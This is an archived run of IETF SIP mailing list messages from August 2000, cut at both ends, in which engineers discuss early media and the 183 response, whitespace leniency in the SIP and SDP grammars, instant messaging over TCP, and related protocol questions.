(Postfix) with ESMTP id 26E8444338 for ; Thu, 17 Aug 2000 02:59:55 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 17 Aug 2000 00:00:11 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Jean-Hugues ROBERT'" , sip@lists.bell-labs.com Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Thu, 17 Aug 2000 00:00:09 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > It is my understanding that, prior to 183 Session Progress, > Media data > started to flow only after INVITE's 200 OK final response was > received or > acknowledged (depending on side). > phone's new IP address. How ? I am trying to get this assertion verified at the moment. I was told that 180 (with SDP) should be used for remote ringback (ie early media) and that 183 should _not_ be be used for remote ringback. This does not affect your arguments. As Jonathan says, if we could make the early media thing go away, great but until then I think we need to get the situation clarified. It is my understanding that many people at the bakeoffs are using 183 for remote ringback. I personally think it is a good thing to keep all the early media handling under one response code despite some valid arguments that 183 does not necessarily infer that user being alerted (eg, you could be in a queue). Cheers, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 04:54:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22477 for ; Thu, 17 Aug 2000 04:54:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 334D64437F; Thu, 17 Aug 2000 04:53:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 6240244338 for ; Thu, 17 Aug 2000 04:53:02 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id OAA27286 for ; Thu, 17 Aug 2000 14:24:30 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Thu, 17 Aug 2000 14:24:29 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id OAA03291 for ; Thu, 17 Aug 2000 14:24:26 +0530 Date: Thu, 17 Aug 2000 14:24:26 +0530 (IST) To: sip@lists.bell-labs.com Subject: [SIP] whitespace in SIP & SDP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I have a query on the use of whitespace in SIP & SDP grammars. There are these rules in SDP (rfc 2327): -------------------------------------------------------------- origin-field = "o=" username SPACE sess-id SPACE sess-version SPACE nettype SPACE addrtype SPACE addr CRLF email-address = email "(" email-safe ")" | ... -------------------------------------------------------------- which leads one to believe that space is allowed _only_ if explicitly specified in the grammar. But then there is this example in the rfc: e=mjh@isi.edu (Mark Handley) where there's a space between email & "(". Similarly, in the SIP grammar (2543bis), there are these rules: -------------------------------------------------------------- Request-Line = Method SP Request-URI SP SIP-Version CRLF From = ("From" | "f") ":" (name-addr | addr-spec) -------------------------------------------------------------- And yet, the torture tests have From : "J Rosenberg \\\"" ; So, what is the right way to interpret the use of whitespace in the grammar? Should a parser be lenient with whitespace or should it stick to the grammar? Thanks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 05:30:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22683 for ; Thu, 17 Aug 2000 05:30:29 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0AC1744356; Thu, 17 Aug 2000 05:30:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id F1B8444338 for ; Thu, 17 Aug 2000 05:30:10 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7H9Ufc16936; Thu, 17 Aug 2000 15:00:44 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.0034A82B ; Thu, 17 Aug 2000 15:05:09 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: manu@sasi.com Cc: sip@lists.bell-labs.com Message-ID: <6525693E.0034A798.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 15:05:06 +0530 Subject: Re: [SIP] whitespace in SIP & SDP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com SIP is lenient with LWSs. So typically one or more LWSes between/before/after tokens should be accepted. So the white spaces acceptance of SIP is implicit . From = {LWS}("From" | "f") ":" {LWS}(name-addr | addr-spec) but that is typically assumed . Hence you should be lenient in accepting this. SDP however, afaik, is very strict on spaces, and does not follow the leniency attribute on SIP. Hence, any white space anywhere is explicitly stated and deviations are not encompassed. Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems manu@sasi.com on 08/17/2000 02:24:26 PM To: sip@lists.bell-labs.com cc: Subject: [SIP] whitespace in SIP & SDP I have a query on the use of whitespace in SIP & SDP grammars. There are these rules in SDP (rfc 2327): -------------------------------------------------------------- origin-field = "o=" username SPACE sess-id SPACE sess-version SPACE nettype SPACE addrtype SPACE addr CRLF email-address = email "(" email-safe ")" | ... -------------------------------------------------------------- which leads one to believe that space is allowed _only_ if explicitly specified in the grammar. But then there is this example in the rfc: e=mjh@isi.edu (Mark Handley) where there's a space between email & "(". Similarly, in the SIP grammar (2543bis), there are these rules: -------------------------------------------------------------- Request-Line = Method SP Request-URI SP SIP-Version CRLF From = ("From" | "f") ":" (name-addr | addr-spec) -------------------------------------------------------------- And yet, the torture tests have From : "J Rosenberg \\\"" ; So, what is the right way to interpret the use of whitespace in the grammar? Should a parser be lenient with whitespace or should it stick to the grammar? Thanks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 05:39:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22787 for ; Thu, 17 Aug 2000 05:39:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C935A443A3; Thu, 17 Aug 2000 05:37:41 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id A805544338 for ; Thu, 17 Aug 2000 05:37:36 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7H9bYp11480 for ; Thu, 17 Aug 2000 11:37:34 +0200 (MEST) Received: from esealnt409 ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2172.1); Thu, 17 Aug 2000 11:37:13 +0200 Received: from esealnt743.al.sw.ericsson.se ([153.88.251.13]) by esealnt409 (NAVIEG 2.1 bld 61) with SMTP id M2000081711371107908 for ; Thu, 17 Aug 2000 11:37:11 +0200 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Thu, 17 Aug 2000 11:37:23 +0200 Message-ID: <56E7307B0850D411B1480008C75DD5EAB73C59@enlrynt303.dsn.ericsson.se> From: "Arnoud van Wijk (ETM)" To: "'SIP'" Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Thu, 17 Aug 2000 11:35:59 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" X-OriginalArrivalTime: 17 Aug 2000 09:37:13.0953 (UTC) FILETIME=[B977D510:01C0082E] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hmmmm I agree that this is something that we need to look at. Or at least get a consensus on it. I would, sofar I understand the problem, just select option 1 from Jonathon. Setup continues, and if it is not desired anymore, a CANCEL or BYE can be sent (right?). And a change DURING a call (after the media setup has been executed via SDP) will just work with a re-INVITE message. We just have to accept that we deal with limitations. I cannot call this a real issue. The setup of a SIP call will not take THAT much time after all. Maybe what we can do is a 183 message that tells that user failed to connect, please retry the call. Or something like that. That are my 2 cents Arnoud van Wijk -----Original Message----- From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] Sent: Thursday, August 17, 2000 8:13 AM To: Jean-Hugues ROBERT Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? This is a really good issue. Thanks for bringing it up. Seems like there are really just three possibilities: 1. punt this problem; you can't change the parameters before the call is setup 2. allow reinvites before the 200 OK to change the parameters 3. don't allow early media - send a 200 OK for this instead None of these are ideal. (2) worries me, as it introduces additional complexity which I fear will have interactions with other things. (3) is somewhat appealing, allowing us to return to the simpler model SIP orginally had. However, people claimed this had nasty interactions with billing systems and PSTN interworking. I wonder if we can't revisit this and see if those issues could be resolved some other way? -Jonathan R. Jean-Hugues ROBERT wrote: > > Hi, > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > can I put a call on hold when I hear a remotely generated ringback tone ?" > > Much longer form: > > It is generaly agreed that making Media and Signaling distinct is a good > thing. Amoung other benefit it enables decomposed architectures and more > generaly support the locality of concern principle. > > A prime example of this distinction is SDP usage in SIP. SIP is basically > concerned by Signaling whereas SDP is about Media. > > Signaling is mainly about setting up and tearing down communications. Media > is mainly about payload formats and destinations. > > It is my understanding that, prior to 183 Session Progress, Media data > started to flow only after INVITE's 200 OK final response was received or > acknowledged (depending on side). > > Afterward, changes impacting Media (changes in SDPs) occured at any time > using re-INVITE. Callee could ask Caller "Please now handle Media according > to this new SDP". Caller could do the same. This was fine. > > However, since 183 Provisionnal response was introduced, as well as other > new occasions to change SDPs during call setup, Media can start to flow > well before 200 OK, or even in the total absence of 200 OK. > > This may introduce an issue regarding control of Media, during the setup phase: > Callee can still ask Caller "Please now handle Media according to this > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > ask Callee to change Media any more. > > To be fully accurate, it seems that Caller could still ask Callee to change > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > first. Is SDP legal in PRACK's ack message ? > > So my question is: "In the presence of Early Media, how can a Caller ask a > Callee to handle Media according to a new SDP when Caller's INVITE > transaction is still not completed ?". > > One potential solution could be to allow re-INVITE while the "main" INVITE > is still not completed. It is illegal today. This would introduce > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > of nested transaction, isn't it ? > > Another solution, probably simplier, would be to enable 183 "both ways": > The Caller would have the rigth to send it to the Callee, potentially only > in the presence of Early Media. But that seems weird, because it is a > reponse without a question. > > If you are guessing "why the hell does this matter ?", please think of > potential restrictions if Media cannot change while call is beeing setted up. > > One example related to mobility (probably not 100% relevant, not a thread > to SIP for Mobility): > Lets say I have a decomposed cheap wireless IP phone: > - The expensive UA has a fixed IP address and a full featured SIP stack > with a fancy Java user application, it handles multiple phones. > - The cheap phones have no fixed IP addresses, a very ligth > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > the UA. > Whenever the phone's IP address changes, the UA will change the Media of > the involved SIP calls, if any. > > Now the issue: What if the phone moves while receiving Early Media (say > remote ringback tone) ? UA need to tell the Callee about the Calling > phone's new IP address. How ? > > Other, simplier, issues: How do I put a call on hold when I am listening to > some network generated annoucement ? How can an assistant, dialing on > behalf of the boss, transfer the ringing call to the boss when ringback > tone is generated remotely ? > > Any previous art in solving this issue (if it is actually an issue) ? > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > solved ? > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > Early Media and have a 200 OK as soon as media is there (with probably some > hints that the call/session is not "fully" established). Some yet to define > "INFO Session Progress" could later on indicate how the call is > progressing. This has the merit of beeing compatible with existing > implementations. > > Jean-Hugues Robert > --------------------------------------------------------------------------- > "Fix Bugs First" > Sophia General Manager. > mailto:jhr@netergynet.com - We serve providers - "Think globally. > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 05:50:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA22828 for ; Thu, 17 Aug 2000 05:50:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B7864443A9; Thu, 17 Aug 2000 05:49:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wsinwp07.win.tue.nl (wsinwp07.win.tue.nl [131.155.69.171]) by lists.bell-labs.com (Postfix) with ESMTP id 8315144338 for ; Thu, 17 Aug 2000 05:49:06 -0400 (EDT) Received: from river@localhost by wsinwp07.win.tue.nl (8.9.3) for sip@lists.bell-labs.com id LAA05995. Thu, 17 Aug 2000 11:49:02 +0200 (MET DST) From: river@win.tue.nl (Richard Verhoeven) Message-Id: <200008170949.LAA05995@wsinwp07.win.tue.nl> Subject: Re: [SIP] whitespace in SIP & SDP In-Reply-To: <6525693E.0034A798.00@sampark.hss.hns.com> from "archow@hss.hns.com" at "Aug 17, 2000 3: 5: 6 pm" To: sip@lists.bell-labs.com Date: Thu, 17 Aug 2000 11:49:02 +0200 (MET DST) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > SIP is lenient with LWSs. > So typically one or more LWSes between/before/after tokens should be > accepted. > So the white spaces acceptance of SIP is implicit . > > > From = {LWS}("From" | "f") ":" {LWS}(name-addr | addr-spec) > but that is typically assumed . I assume you mean: From = ("From" | "f") {LWS} ":" {LWS}(name-addr | addr-spec) The possible LWS at the beginning of a line will be interpreted as a continuation newline for the previous line in the message. Richard Verhoeven. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 06:26:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23013 for ; Thu, 17 Aug 2000 06:26:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CF4F7443AB; Thu, 17 Aug 2000 06:26:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailctr.marben.fr (mailctr.marben.fr [193.105.113.5]) by lists.bell-labs.com (Postfix) with ESMTP id 8CBB944338 for ; Thu, 17 Aug 2000 06:26:21 -0400 (EDT) Received: from copernic.marben.fr by mailctr.marben.fr with ESMTP (8.9.3/1.2-eef) id LAA01840; Thu, 17 Aug 2000 11:26:23 GMT Received: from [55.2.4.165] by copernic.marben.fr with ESMTP (8.9.3/1.2-eef) id KAA25524; Thu, 17 Aug 2000 10:23:34 GMT User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106 Date: Thu, 17 Aug 2000 12:28:04 +0200 Subject: Re: [SIP] whitespace in SIP & SDP From: Laurent Steffan To: , Cc: Message-ID: In-Reply-To: <6525693E.0034A798.00@sampark.hss.hns.com> Mime-version: 1.0 X-organization: Atos Int=?ISO-8859-1?B?6Q==?=gration Content-type: text/plain; charset="ISO-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id GAA23013 I agree with Arjun's answer, and I'll even go a bit further: I think SIP's leniency is expressed in the following statement - "Except where noted otherwise, linear white space (LWS) can be included between any two adjacent words (token or quoted-string), and between adjacent tokens and separators, without changing the interpretation of a field." (Appendix C), and that means that as concerns SIP you can - and must - be lenient with the whitespace *and* stick to the grammar :-) As for SDP, part of the answer lies in the fact that rfc2327 claims that "email" syntax is "defined in RFC822", and if you look up rfc 822 you'll see that they have roughly the same statement as SIP regarding white space: "To aid in the creation and reading of structured fields, the free insertion of linear-white-space (which permits folding by inclusion of CRLFs) is allowed between lexical tokens". In particular, '(' is an RFC822 token (for comments) so you can consider, without stretching too much the texts of the various RFCs, that the examples are indeed compliant with the grammars of the respective fields. Best regards, Laurent Steffan ======== le 17/08/00 11:35, archow@hss.hns.com à archow@hss.hns.com a écrit : ======== > > > SIP is lenient with LWSs. > So typically one or more LWSes between/before/after tokens should be > accepted. > So the white spaces acceptance of SIP is implicit . > > >> From = {LWS}("From" | "f") ":" {LWS}(name-addr | addr-spec) > but that is typically assumed . > > Hence you should be lenient in accepting this. > > SDP however, afaik, is very strict on spaces, and does not follow the > leniency > attribute on SIP. Hence, any white space anywhere is explicitly stated and > deviations > are not encompassed. > > > > Regds > Arjun > > -- > Arjun Roychowdhury @ Hughes Software Systems > > > > > > manu@sasi.com on 08/17/2000 02:24:26 PM > > To: sip@lists.bell-labs.com > cc: > > Subject: [SIP] whitespace in SIP & SDP > > > > > > I have a query on the use of whitespace in SIP & SDP grammars. > > There are these rules in SDP (rfc 2327): > -------------------------------------------------------------- > origin-field = "o=" username SPACE > sess-id SPACE sess-version SPACE > nettype SPACE addrtype SPACE > addr CRLF > > email-address = email "(" email-safe ")" | ... > -------------------------------------------------------------- > which leads one to believe that space is allowed _only_ if > explicitly specified in the grammar. > > But then there is this example in the rfc: > e=mjh@isi.edu (Mark Handley) > where there's a space between email & "(". > > > > Similarly, in the SIP grammar (2543bis), there are these rules: > -------------------------------------------------------------- > Request-Line = Method SP Request-URI SP SIP-Version CRLF > From = ("From" | "f") ":" (name-addr | addr-spec) > -------------------------------------------------------------- > And yet, the torture tests have > From : "J Rosenberg \\\"" ; > > > So, what is the right way to interpret the use of whitespace in the > grammar? > Should a parser be lenient with whitespace or should it stick to the > grammar? > > Thanks. > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip ======================================================================= Laurent M. STEFFAN Tel : + 33 (0)1 55 91 28 49 ATOS Consulting Technologies Fax : + 33 (0)1 55 91 26 53 Les Miroirs, Tour C 18, av. d'Alsace Internet : lsteffan@atos-group.com 92926 Paris La Defense Cedex - France ======================================================================= _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 06:42:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23155 for ; Thu, 17 Aug 2000 06:42:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8F026443AF; Thu, 17 Aug 2000 06:41:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f38.law7.hotmail.com [216.33.237.38]) by lists.bell-labs.com (Postfix) with ESMTP id 574CA44338 for ; Thu, 17 Aug 2000 06:41:35 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 17 Aug 2000 03:41:34 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Thu, 17 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Thu, 17 Aug 2000 10:41:34 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 17 Aug 2000 10:41:34.0699 (UTC) FILETIME=[B6A6EBB0:01C00837] Subject: [SIP] Instant Messaging.... Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hello, I was wondering that once the TCP transport port is registered under IANA will we still require the MESSAGE header(presently in the drafts stage) since a line such as : m=text tcp plain with other a= attributes proposed for tcp will solve the problem for instant messaging. Thanking you all, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 06:59:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23337 for ; Thu, 17 Aug 2000 06:59:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2D505443B3; Thu, 17 Aug 2000 06:58:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by lists.bell-labs.com (Postfix) with ESMTP id A94DF44338 for ; Thu, 17 Aug 2000 06:58:54 -0400 (EDT) Received: from hpqs0220.sqf.hp.com (hpqs0220.sqf.hp.com [15.144.178.52]) by palrel3.hp.com (Postfix) with ESMTP id 5BBE94F1 for ; Thu, 17 Aug 2000 03:58:53 -0700 (PDT) Received: from sqf.hp.com (cdowney@localhost [127.0.0.1]) by hpqs0220.sqf.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.0) with ESMTP id LAA09398 for ; Thu, 17 Aug 2000 11:58:50 +0100 (BST) Message-ID: <399BC568.4DEFA26C@sqf.hp.com> Date: Thu, 17 Aug 2000 11:58:48 +0100 From: Christopher Downey Organization: Agilent Technologies X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] another general query (SIP+) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi When I was doing some background reading on the SIP protocol, I came accross some references to SIP+. Could anyone point me to a good source of information which covers SIP+ Any help is greatly appreciated. Cheers Christopher -- ********************************************************************** Christopher Downey (Student Software Engineer) Agilent Technologies Research & Development Telecoms Systems Division Email : cdowney@sqf.hp.com South Queensferry Phone : +44 131 331 6137 Scotland Internal : 33137 ********************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 07:14:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23530 for ; Thu, 17 Aug 2000 07:14:59 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 56BD7443B8; Thu, 17 Aug 2000 07:14:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by lists.bell-labs.com (Postfix) with ESMTP id D69BF44338 for ; Thu, 17 Aug 2000 07:14:35 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42261) id <0FZF00201OKAUA@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 17 Aug 2000 11:14:34 +0000 (GMT) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0FZF002BYOKAC1@firewall.mcit.com>; Thu, 17 Aug 2000 11:14:34 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) id <0FZF00E01OKAXJ@dgismtp02.wcomnet.com>; Thu, 17 Aug 2000 11:14:34 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FZF00E01OKAXI@dgismtp02.wcomnet.com>; Thu, 17 Aug 2000 11:14:34 +0000 (GMT) Received: from C25776A ([166.46.21.63]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FZF000J9OJKHE@dgismtp02.wcomnet.com>; Thu, 17 Aug 2000 11:14:19 +0000 (GMT) Date: Thu, 17 Aug 2000 06:14:19 -0500 From: Henry Sinnreich Subject: RE: [SIP] CPL, WML, VoiceXML and SIP Features In-reply-to: <399A2AD7.FAB92948@wipro.com> To: Anuraj Kunnummel Ennai , sip@lists.bell-labs.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit >Shouldn't SMIL be also on the list? Agree, it enables nice service features. Henry Henry Sinnreich MCI WorldCom 400 International Parkway Richardson, Texas 75081 USA >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of >Anuraj Kunnummel >Ennai >Sent: Wednesday, August 16, 2000 12:47 AM >To: sip@lists.bell-labs.com >Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features > > >Shouldn't SMIL be also on the list? >cheers >Anuraj > > > >------------------------------------------------------- >----------------- > >> >> Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features >> Date: Sun, 13 Aug 2000 15:53:54 -0700 (PDT) >> From: Tom Gray >> To: Tom Gray , >sip@lists.bell-labs.com >> >> It would be nice if the inter-relationships between >> these protocols (CPL, WML, VoiceXML and SIP features) >> and the call processing problem could be captured in >> an informational RFC to eliminate duplicated effort >> and to identify areas in which no protocol has been >> set up. An expecially important set of topics would be >> areas in which it would be undesirable for a protocol >> to be created. >> >> There was a suggestion here previously that CPL be >> extended to encompass switches on authorization. This >> is coming perilously near the use of CPL to handle >> classes of service. This would be one step on an >> infinite journey of defining a call processing >> architecture which could not be finished. it would be >> like painting the Golden Gate Bridge. When it is done, >> it is time to start over. >> >> Tom Gray >> > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 07:20:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23618 for ; Thu, 17 Aug 2000 07:20:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1EC1F443BB; Thu, 17 Aug 2000 07:19:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 95E3744338 for ; Thu, 17 Aug 2000 